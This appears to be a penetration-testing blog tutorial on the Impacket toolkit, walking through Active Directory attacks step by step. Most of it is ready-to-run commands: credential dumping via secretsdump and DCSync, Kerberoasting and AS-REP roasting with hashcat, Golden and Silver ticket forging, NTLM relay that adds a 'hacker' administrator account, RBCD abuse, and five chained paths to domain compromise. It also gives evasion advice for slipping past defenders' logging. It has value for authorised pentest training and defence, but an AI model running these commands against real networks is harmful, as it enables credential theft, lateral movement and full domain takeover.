Impacket is the Swiss Army knife of Active Directory exploitation. It’s a Python library that reimplements Windows network protocols — SMB, Kerberos, MSRPC, LDAP, and more — entirely from scratch. That means you can interact with Windows environments without needing a Windows machine, without raising the same flags as native tools, and with surgical control over every byte you send.
This guide covers everything: installation, the full toolkit breakdown, and the attack scenarios that matter — Kerberoasting, DCSync, Pass-the-Hash, NTLM relay, Golden Tickets, and remote execution.
If you’re doing Active Directory pentesting, you’re using Impacket. This is how you use it right.
What Impacket Is (and Why It Matters)
Impacket started as a collection of Python classes for network protocol development. Over time it became the backbone of nearly every serious AD attack tool — BloodHound’s SharpHound borrows from its protocol implementations, CrackMapExec (now NetExec) wraps many of its scripts, and Mimikatz’s remote variants replicate what Impacket does.
The difference: Impacket runs from Linux. No need for a Windows foothold to start attacking. From a single Kali box with valid credentials — or even just a network position — you can enumerate, exploit, and move laterally across an entire Windows domain.
What Impacket gives you:
- SMB client/server operations
- Remote execution (WMI, DCOM, AT, PsExec-style)
- Credential dumping (SAM, LSA, NTDS via DCSync)
- Kerberos attacks (Kerberoasting, AS-REP Roasting, ticket forging)
- NTLM relay attacks
- Golden and Silver ticket creation
- AD enumeration (SIDs, SPNs, delegation, ACLs)
- MSSQL interaction
Installation
Kali Linux (already included)
Impacket comes pre-installed on Kali. Check your version:
impacket-secretsdump --version
# or
python3 -c "import impacket; print(impacket.__version__)"
The pre-installed version may be outdated. For the latest:
pip3 install impacket --upgrade
From Source (recommended for latest features)
# Clone the repo
git clone https://github.com/fortra/impacket.git
cd impacket
# Install in a virtual environment
python3 -m venv venv
source venv/bin/activate
pip install .
# Or install system-wide
pip3 install .
Running Impacket Scripts
Scripts live in the examples/ directory if installed from source. When installed via pip, they’re available as impacket-<scriptname> system commands:
# System-wide install
impacket-secretsdump domain/user:password@target
# From source (examples dir)
python3 examples/secretsdump.py domain/user:password@target
This guide uses the impacket- prefix format throughout.
Authentication Methods
Most Impacket tools accept credentials in several formats:
# Password authentication
impacket-tool domain/username:password@target
# NTLM hash (Pass-the-Hash)
impacket-tool domain/username@target -hashes :NTLMhash
# Full NTLM hashes (LM:NT)
impacket-tool domain/username@target -hashes LMhash:NTLMhash
# Kerberos ticket (Pass-the-Ticket)
KRB5CCNAME=/tmp/ticket.ccache impacket-tool domain/username@target -k -no-pass
# No credentials (null session, anonymous)
impacket-tool //target/share -no-pass
The -k flag enables Kerberos authentication. The -no-pass flag skips the password prompt when you’re using a ticket or hash.
Lab note: All of these attacks require a Windows Active Directory lab to practice safely. A VPS is the cleanest way to run a Windows Server domain controller without putting hardware in your home. Vultr and DigitalOcean both have Windows Server images — spin up a DC and a member server for under $20/month, tear it down when done.
SMB Operations
smbclient.py — Interactive SMB Shell
A full SMB client for browsing and interacting with Windows shares:
# List shares (with creds)
impacket-smbclient domain/user:password@target
# List shares (Pass-the-Hash)
impacket-smbclient domain/user@target -hashes :NTLMhash
# Interactive shell commands
shares # list all shares
use C$ # connect to share
ls # list directory
get file.txt # download file
put file.txt # upload file
pwd # current directory
cd path # change directory
smbserver.py — Rogue SMB Server
Spin up a local SMB server to receive file requests, capture hashes, or serve payloads:
# Create SMB share named 'SHARE' pointing to /tmp/files
impacket-smbserver SHARE /tmp/files
# Require authentication (forces clients to auth and expose hashes)
impacket-smbserver SHARE /tmp/files -smb2support -username user -password pass
# From Windows target, connect to your rogue server
# net use \\attacker_ip\SHARE
# This triggers NTLM authentication — responder or ntlmrelayx catches it
Use case: Combined with Responder, smbserver.py sets up the relay side of hash capture attacks.
lookupsid.py — SID Enumeration
Enumerate users and groups via RPC SID brute-force:
# Enumerate users (works with null session on older DCs)
impacket-lookupsid domain/user:password@target
# Anonymous (null session)
impacket-lookupsid anonymous@target
# Output includes: user SIDs, group SIDs, domain SID
This is useful for building a user list early in an engagement when you don’t have LDAP access.
Remote Execution
psexec.py — PsExec-Style Execution
Authenticates via SMB, uploads a service binary to ADMIN$, creates a service, and connects a shell. Gives you SYSTEM-level access when the account has admin rights:
# With password
impacket-psexec domain/admin:password@target
# With hash
impacket-psexec domain/admin@target -hashes :NTLMhash
# Run single command
impacket-psexec domain/admin:password@target cmd.exe /c whoami
# With Kerberos ticket
KRB5CCNAME=admin.ccache impacket-psexec domain/[email protected] -k -no-pass
Detection note: psexec.py is noisy — it creates a Windows service, writes to ADMIN$, and generates Event ID 7045 (Service Installed). Use wmiexec.py or dcomexec.py for quieter execution.
wmiexec.py — WMI Execution (Quieter)
Uses Windows Management Instrumentation for command execution. No service creation, no binary drop to disk:
# Interactive shell
impacket-wmiexec domain/admin:password@target
# Pass-the-Hash
impacket-wmiexec domain/admin@target -hashes :NTLMhash
# Single command
impacket-wmiexec domain/admin:password@target "cmd.exe /c ipconfig"
# No output (completely silent — useful for stealth)
impacket-wmiexec domain/admin:password@target -nooutput "cmd.exe /c start malware.exe"
Detection note: WMI generates Event IDs 4688 (process creation) and WMI-related events. Still detectable, but much less artifact-heavy than psexec.
atexec.py — Task Scheduler Execution
Executes commands via Windows Task Scheduler (AT service):
# Execute a command
impacket-atexec domain/admin:password@target "cmd.exe /c whoami > C:\output.txt"
# Pass-the-Hash
impacket-atexec domain/admin@target -hashes :NTLMhash "net user hacker P@ssw0rd /add"
Good for one-shot command execution when you need a scheduled task pretext.
dcomexec.py — DCOM Execution
Uses Distributed COM objects for execution. Supports multiple DCOM methods:
# ShellWindows method (default)
impacket-dcomexec domain/admin:password@target
# MMC20.Application method
impacket-dcomexec domain/admin:password@target -object MMC20
# ShellBrowserWindow
impacket-dcomexec domain/admin:password@target -object ShellBrowserWindow
DCOM execution is harder to detect than psexec and leaves fewer artifacts. The -object flag lets you cycle through methods if one is blocked.
Credential Dumping
secretsdump.py — The Workhorse
The most used Impacket tool for credential extraction. Dumps SAM, LSA secrets, cached credentials, and NTDS.dit (the domain database) via DCSync or direct NTDS dump.
Remote SAM dump (local admin required):
# Dump SAM hashes remotely
impacket-secretsdump domain/admin:password@target
# Pass-the-Hash
impacket-secretsdump domain/admin@target -hashes :NTLMhash
# Output format: user:rid:LMhash:NThash:::
DCSync (Domain Admin or replication rights required):
# Dump all domain hashes via DCSync
impacket-secretsdump domain/admin:password@dc_ip -just-dc
# Dump only NTLM hashes (skip Kerberos keys)
impacket-secretsdump domain/admin:password@dc_ip -just-dc-ntlm
# Dump a single user's hash
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt
# Use Kerberos ticket
KRB5CCNAME=admin.ccache impacket-secretsdump domain/[email protected] -k -no-pass -just-dc
DCSync impersonates a domain controller and requests password replication data. It’s the cleanest way to dump NTDS.dit without touching the DC’s filesystem.
Local NTDS.dit dump (from offline file):
# Parse a previously extracted NTDS.dit + SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
LSA secrets dump:
# Includes service account cleartext passwords, cached domain creds
impacket-secretsdump domain/admin:password@target -lsa
The output from secretsdump is the foundation for Pass-the-Hash, Pass-the-Ticket, and cracking campaigns.
Kerberos Attacks
GetUserSPNs.py — Kerberoasting
Requests Kerberos service tickets for accounts with SPNs registered. The tickets are encrypted with the service account’s password hash and can be cracked offline:
# List all Kerberoastable accounts
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip
# Request tickets (outputs in Hashcat format)
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request
# Save to file for cracking
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request -outputfile kerberoast.txt
# Request ticket for specific SPN
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request-user svc_sql
Crack with Hashcat:
# Mode 13100 = Kerberos TGS-REP (RC4 encryption)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Mode 19600 = Kerberos TGS-REP (AES128)
hashcat -m 19600 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Mode 19700 = Kerberos TGS-REP (AES256)
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt
What to look for: Service accounts with SPNs that have weak passwords — svc_sql, svc_backup, svc_iis. These are common in enterprise environments and rarely get rotated.
GetNPUsers.py — AS-REP Roasting
Targets accounts with Kerberos pre-authentication disabled. No credentials needed for enumeration (with a user list):
# With credentials — enumerate accounts with DONT_REQ_PREAUTH flag
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass
# With credentials — let it enumerate via LDAP
impacket-GetNPUsers domain/user:password -dc-ip dc_ip -request
# Save for cracking
impacket-GetNPUsers domain/user:password -dc-ip dc_ip -request -outputfile asrep.txt
# Format output for Hashcat
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass -format hashcat
Crack with Hashcat:
# Mode 18200 = Kerberos AS-REP (RC4)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
No-credential AS-REP Roasting: If you have a user list but no password, send AS-REQ without pre-auth for each username. Accounts with DONT_REQ_PREAUTH will return an AS-REP you can crack.
getTGT.py — Request TGT
Request a Ticket-Granting Ticket for a user:
# With password
impacket-getTGT domain/user:password
# With hash (Pass-the-Hash to get Kerberos ticket)
impacket-getTGT domain/user -hashes :NTLMhash
# With AES key
impacket-getTGT domain/user -aesKey <aes_key>
# Saves to user.ccache
export KRB5CCNAME=user.ccache
getST.py — Service Ticket Requests & Delegation Attacks
Request service tickets and abuse Kerberos delegation:
# Request a service ticket
impacket-getST -spn cifs/server.domain.com domain/user:password
# S4U2Self + S4U2Proxy (constrained delegation abuse)
impacket-getST -spn cifs/server.domain.com -impersonate Administrator domain/svc_account:password
# Resource-based constrained delegation (RBCD)
impacket-getST -spn cifs/dc.domain.com -impersonate Administrator domain/attacker_computer$:password
This is the core of Kerberos delegation attacks — when a service account has delegation rights, you can request tickets to impersonate any user (including Domain Admin) against target services.
ticketer.py — Golden & Silver Tickets
Forge Kerberos tickets offline with the right keys:
# Golden Ticket (requires krbtgt hash)
impacket-ticketer -nthash <krbtgt_NT_hash> -domain-sid <domain_SID> -domain domain.com Administrator
# Golden Ticket with custom groups (add to Domain Admins, Enterprise Admins)
impacket-ticketer -nthash <krbtgt_NT_hash> -domain-sid <domain_SID> -domain domain.com -groups 512,519 Administrator
# Silver Ticket (forged service ticket, requires service account hash)
impacket-ticketer -nthash <service_account_NT_hash> -domain-sid <domain_SID> -domain domain.com -spn cifs/dc.domain.com Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass domain/[email protected]
Golden vs Silver:
| Golden Ticket | Silver Ticket | |
|---|---|---|
| Requires | krbtgt hash | Service account hash |
| Grants access to | Any service in domain | Specific service only |
| Touches DC? | Yes (TGS exchange) | No (forged directly) |
| Persistence | ~10 years | Configurable |
Getting the krbtgt hash:
# Via DCSync
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt
# Copy the ::: hash after the last colon
NTLM Relay Attacks
ntlmrelayx.py — NTLM Relay
Captures NTLM authentication attempts and relays them to other targets. The foundation of SMB relay, LDAP relay, and pass-the-hash-without-the-hash attacks.
Basic SMB relay:
# Step 1: Run ntlmrelayx to relay to target
impacket-ntlmrelayx -tf targets.txt -smb2support
# Step 2: Trigger NTLM auth from victim (Responder handles this)
# Responder on same interface, SMB off:
# sudo responder -I eth0 --disable-ess --lm
LDAP relay (dump domain info):
# Relay to DC via LDAP, dump AD info
impacket-ntlmrelayx -t ldap://dc_ip --dump-laps --dump-gmsa
# Relay to LDAP and create a new domain admin
impacket-ntlmrelayx -t ldap://dc_ip --escalate-user compromised_user
SMB relay to execute command:
# Execute a command on relay target
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add"
# Interactive SMB shell on target
impacket-ntlmrelayx -tf targets.txt -smb2support -i
HTTPS relay (Exchange/ADCS):
# Relay to ADCS Web Enrollment (ESC8 attack)
impacket-ntlmrelayx -t "http://ca.domain.com/certsrv/certfnsh.asp" --adcs --template DomainController
Key prerequisite: SMB signing must be disabled on the target. Check with:
impacket-runfingerprint domain/user:password@target
# Or: nmap --script smb2-security-mode -p 445 target
Active Directory Enumeration
rpcdump.py — RPC Endpoint Enumeration
Enumerate RPC services and endpoints:
# List all RPC endpoints
impacket-rpcdump target
# With credentials
impacket-rpcdump domain/user:password@target
# Look for interesting services
impacket-rpcdump target | grep -i "spoolss\|epmapper\|winreg"
Why it matters: PrintSpooler (spoolss) exposure enables PrintNightmare exploitation and unconstrained delegation coercion.
findDelegation.py — Kerberos Delegation Enumeration
Find accounts and computers with delegation configured:
# Find all delegation configurations
impacket-findDelegation domain/user:password -dc-ip dc_ip
# Output shows: account, delegation type, allowed services
# Types: Unconstrained, Constrained, Resource-Based Constrained (RBCD)
Unconstrained delegation is the jackpot — any service ticket sent to an account with unconstrained delegation exposes the TGT. Combine with printer bug coercion to force a DC auth.
reg.py — Remote Registry Operations
Read, write, and delete registry keys remotely:
# Interactive registry shell
impacket-reg domain/admin:password@target query -keyName HKLM\\SYSTEM
# Query specific key
impacket-reg domain/admin:password@target query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" -v ProductName
# Add a registry key
impacket-reg domain/admin:password@target add -keyName HKLM\\SOFTWARE\\TestKey -v TestValue -vt REG_SZ -vd "test"
# Dump SAM hive (alternative credential extraction)
impacket-reg domain/admin:password@target save -keyName HKLM\\SAM -o sam.hive
mssqlclient.py — SQL Server Interaction
Connect to Microsoft SQL Server and execute queries or OS commands:
# Connect with SQL auth
impacket-mssqlclient sa:password@target
# Connect with Windows auth
impacket-mssqlclient domain/admin:password@target -windows-auth
# Connect with hash
impacket-mssqlclient domain/admin@target -hashes :NTLMhash -windows-auth
# Interactive prompt — execute commands
SQL> SELECT @@version
SQL> EXEC xp_cmdshell 'whoami' # if xp_cmdshell enabled
SQL> EXEC sp_configure 'show advanced options', 1 # enable xp_cmdshell
SQL> RECONFIGURE
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> RECONFIGURE
SQL> EXEC xp_cmdshell 'net user'
What to look for: SQL Server service accounts are frequently over-privileged. xp_cmdshell execution gets you OS command execution as the SQL service account, which is often a domain service account.
ACL Abuse Toolkit
dacledit.py — DACL Modification
Read and modify Access Control Lists on AD objects:
# Read ACEs on a user object
impacket-dacledit domain/user:password -dc-ip dc_ip -action read -principal target_user
# Read ACEs on a group
impacket-dacledit domain/user:password -dc-ip dc_ip -action read -target-dn "CN=Domain Admins,CN=Users,DC=domain,DC=com"
# Grant WriteOwner rights to controlled user
impacket-dacledit domain/admin:password -dc-ip dc_ip -action write -rights WriteMembers -principal controlled_user -target "Domain Admins"
# Give DCSync rights (full compromise path)
impacket-dacledit domain/admin:password -dc-ip dc_ip -action write -rights DCSync -principal controlled_user
DCSync path: If you find a user with WriteDACL on the domain object (visible in BloodHound), use dacledit.py to grant that user DS-Replication rights, then run secretsdump.py for a full DCSync.
owneredit.py — Owner Modification
Change the owner of an AD object:
# Change owner of a group
impacket-owneredit domain/admin:password -dc-ip dc_ip -action write -new-owner controlled_user -target "Domain Admins"
# Change owner gives you WriteDACL implicitly, then use dacledit.py to add yourself
addcomputer.py — Add Computer Accounts
Create a computer account in the domain (required for RBCD attacks):
# Add a computer account (any authenticated domain user can do this by default)
impacket-addcomputer domain/user:password -dc-ip dc_ip -computer-name ATTACKER$ -computer-pass ComputerPass123
# MachineAccountQuota allows up to 10 per default (check with PowerView or bloodhound)
RBCD Attack Chain:
- Add computer account (addcomputer.py)
- Set RBCD attribute on target (rbcd.py)
- Get service ticket as any user (getST.py with S4U2Proxy)
- Use ticket to access target service
rbcd.py — Resource-Based Constrained Delegation
Configure RBCD attributes on AD objects:
# Set msDS-AllowedToActOnBehalfOfOtherIdentity on target
impacket-rbcd domain/user:password -dc-ip dc_ip -action write -delegate-from ATTACKER$ -delegate-to TargetMachine$
# Read current RBCD settings
impacket-rbcd domain/user:password -dc-ip dc_ip -action read -delegate-to TargetMachine$
# Remove RBCD setting (cleanup)
impacket-rbcd domain/user:password -dc-ip dc_ip -action flush -delegate-to TargetMachine$
Complete Attack Chains
Chain 1: Kerberoasting to Domain Admin
# 1. Enumerate Kerberoastable accounts
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request -outputfile kerberoast.txt
# 2. Crack offline
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# 3. Use cracked service account to dump creds
impacket-secretsdump domain/svc_sql:cracked_pass@dc_ip -just-dc
# 4. Pass-the-Hash as Domain Admin
impacket-wmiexec domain/Administrator@dc_ip -hashes :da_hash
Chain 2: AS-REP Roast Low-Priv Account → Escalate
# 1. AS-REP Roast without credentials (need username list)
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
# 2. Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 3. Recon with cracked account (BloodHound collection, etc.)
# 4. Find escalation path, follow chain
Chain 3: NTLM Relay to Domain Compromise
# 1. Check for SMB signing disabled on targets
nmap --script smb2-security-mode -p 445 192.168.1.0/24 | grep -B 1 "disabled"
# 2. Put targets in targets.txt
# 3. Start ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2support
# 4. Coerce authentication (Responder, PetitPotam, PrinterBug)
# PetitPotam:
python3 PetitPotam.py attacker_ip dc_ip
# 5. ntlmrelayx captures and relays — dumps SAM or runs command
Chain 4: RBCD Attack (GenericWrite → SYSTEM)
# Prerequisite: You have GenericWrite on a computer object
# 1. Create a new computer account
impacket-addcomputer domain/user:password -dc-ip dc_ip -computer-name ATTACKER$ -computer-pass 'Attacker123!'
# 2. Set RBCD to allow your computer to impersonate
impacket-rbcd domain/user:password -dc-ip dc_ip -action write -delegate-from ATTACKER$ -delegate-to TargetComputer$
# 3. Get TGT for your computer account
impacket-getTGT domain/ATTACKER$:'Attacker123!' -dc-ip dc_ip
# 4. Request service ticket impersonating Administrator
KRB5CCNAME=ATTACKER\$.ccache impacket-getST -spn cifs/targetcomputer.domain.com -impersonate Administrator domain/ATTACKER$:'Attacker123!' -dc-ip dc_ip -k
# 5. Use ticket
KRB5CCNAME=Administrator@[email protected] impacket-wmiexec -k -no-pass domain/[email protected]
Chain 5: DCSync to Golden Ticket
# 1. DCSync to dump krbtgt hash
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt
# 2. Get domain SID
impacket-lookupsid domain/user:password@dc_ip | grep "Domain SID"
# 3. Forge Golden Ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <domain_SID> -domain domain.com Administrator
# 4. Use everywhere
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain/Administrator@any_domain_machine
impacket-wmiexec -k -no-pass domain/Administrator@any_domain_machine
impacket-secretsdump -k -no-pass domain/Administrator@any_domain_machine
Detection & Evasion Notes
What defenders look for:
- Event ID 4769 with RC4 encryption type (Kerberoasting indicator)
- Event ID 4768 with no pre-auth (AS-REP Roasting)
- DCSync: Event ID 4662 (DS-Replication-Get-Changes-All access)
- Remote execution: Event ID 7045 (service install for psexec), 4688 (process creation)
- NTLM relay: 4625 failed logon from unexpected sources
- Golden tickets: Event ID 4769 with ticket lifetime > 10 hours from non-DC source
Operational considerations:
- Use AES keys instead of RC4 where possible — RC4 Kerberoasting is increasingly flagged by default SIEM rules
- wmiexec and dcomexec leave fewer artifacts than psexec
- Silver tickets don’t touch the DC — they bypass Kerberos logging entirely for the target service
- Rotate target IPs and timing to avoid correlation
Common Issues & Fixes
KRB_AP_ERR_SKEW (clock skew):
# Sync clock to DC
sudo ntpdate dc_ip
# Or
sudo timedatectl set-ntp false
sudo timedatectl set-time "$(date --date="$(w32tm /stripchart /computer:dc_ip /samples:1 2>/dev/null | tail -1 | awk '{print $1}')")"
KDC_ERR_PREAUTH_REQUIRED: The account has pre-auth enabled. GetNPUsers.py won’t work — use GetUserSPNs.py or get credentials first.
STATUS_LOGON_FAILURE:
Bad password or hash. Double-check hash format — Impacket needs NT hash, not LM. Format is LM:NT where LM can be aad3b435b51404eeaad3b435b51404ee (null LM hash).
STATUS_ACCOUNT_RESTRICTION:
Account restricted from network logon. Try Kerberos (-k) instead of NTLM.
Connection refused on port 445: Target firewall blocking SMB. Try 135 (RPC) first with rpcdump.py to verify connectivity.
SSL certificate error (LDAP):
Add -no-pass or use -k for Kerberos to bypass LDAP credential issues, or add -ldap-filter to restrict scope.
Wrapping Up
Impacket is what the whole AD exploitation ecosystem is built on. Whether you’re running BloodHound attacks, relaying NTLM, dumping credentials, or forging Kerberos tickets — Impacket is doing the heavy lifting underneath.
The tools in this guide cover the full kill chain: from initial enumeration, through credential theft and lateral movement, to domain dominance via DCSync and Golden Tickets.
Key tools to know cold:
secretsdump.py— credential extraction, alwaysGetUserSPNs.py/GetNPUsers.py— Kerberoasting and AS-REP Roastingntlmrelayx.py— NTLM relayticketer.py— ticket forging for persistencewmiexec.py— quieter remote execution
Practice these in a lab before an engagement. A Windows Server DC plus one member workstation is all you need — Vultr makes it cheap enough to spin up and tear down on demand.
Need professional-grade security documentation for your organization? CipherWrite delivers pentest reports, security guides, and technical content written by working practitioners.
